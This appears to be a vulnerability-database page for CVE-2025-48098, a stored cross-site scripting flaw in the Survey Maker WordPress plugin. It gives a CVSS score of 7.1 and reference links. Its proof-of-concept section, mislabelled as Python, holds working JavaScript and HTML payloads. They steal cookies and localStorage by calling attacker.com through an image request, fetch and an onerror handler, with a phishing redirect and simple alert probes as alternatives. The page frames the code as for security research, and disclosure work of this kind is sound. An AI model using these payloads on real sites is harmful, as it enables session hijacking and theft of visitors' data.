CVE-2025-48098

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Survey Maker survey-maker allows Stored XSS.This issue affects Survey Maker: from n/a through <= 5.1.8.8.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Ays Pro Survey Maker <= 5.1.8.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS PoC for Survey Maker Plugin CVE-2025-48098 -->
<!-- The payload is injected into vulnerable input fields (e.g., survey title, description, or question fields) -->

<script>
    // Malicious JavaScript payload example
    // This code will execute in the victim's browser when they view the infected page
    var img = new Image();
    img.src = "https://attacker.com/steal?cookie=" + document.cookie + "&url=" + window.location.href;
    
    // Alternative: Redirect to phishing page
    // window.location = "https://attacker.com/phishing?ref=" + document.referrer;
    
    // Alternative: Exfiltrate sensitive data via fetch
    // fetch('https://attacker.com/collect', {
    //     method: 'POST',
    //     body: JSON.stringify({
    //         cookies: document.cookie,
    //         url: window.location.href,
    //         localStorage: JSON.stringify(localStorage)
    //     })
    // });
</script>

<!-- Alternative payload using event handlers -->
<img src=x onerror="fetch('https://attacker.com/xss?c='+document.cookie)">

<!-- Payload injection example (to be entered in survey fields): -->
<!-- <svg/onload=alert(document.domain)> -->
<!-- <iframe src=javascript:alert('XSS')> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48098
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48098
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48098/
[4] VulDB https://vuldb.com/cve/CVE-2025-48098
[5] https://patchstack.com/database/Wordpress/Plugin/survey-maker/vulnerability/wordpress-survey-maker-plugin-5-1-8-8-cross-site-scripting-xss-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

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